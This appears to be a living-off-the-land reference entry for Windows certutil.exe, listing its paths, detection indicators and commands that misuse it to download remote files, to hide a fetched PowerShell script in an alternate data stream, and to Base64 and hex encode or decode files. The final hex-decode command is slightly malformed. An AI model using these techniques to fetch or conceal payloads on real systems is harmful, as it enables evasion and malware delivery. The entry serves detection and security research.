Windows binary used for handeling certificates

Paths:

C:\Windows\System32\certutil.exe
C:\Windows\SysWOW64\certutil.exe

Detection: Certutil.exe creating new files on disk Useragent Microsoft-CryptoAPI/10.0 Useragent CertUtil URL Agent

Download

Download and save 7zip to disk in the current folder.

certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe

Download and save 7zip to disk in the current folder.

certutil.exe -verifyctl -f -split http://7-zip.org/a/7z1604-x64.exe 7zip.exe

Alternate data streams

Download and save a PS1 file to an Alternate Data Stream (ADS).

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

Encode

Command to encode a file using Base64

certutil -encode inputFileName encodedOutputFileName

Decode

Command to decode a Base64 encoded file.

certutil -decode encodedInputFileName decodedOutputFileName

Command to decode a hexadecimal-encoded file decodedOutputFileName

certutil --decodehex encoded_hexadecimal_InputFileName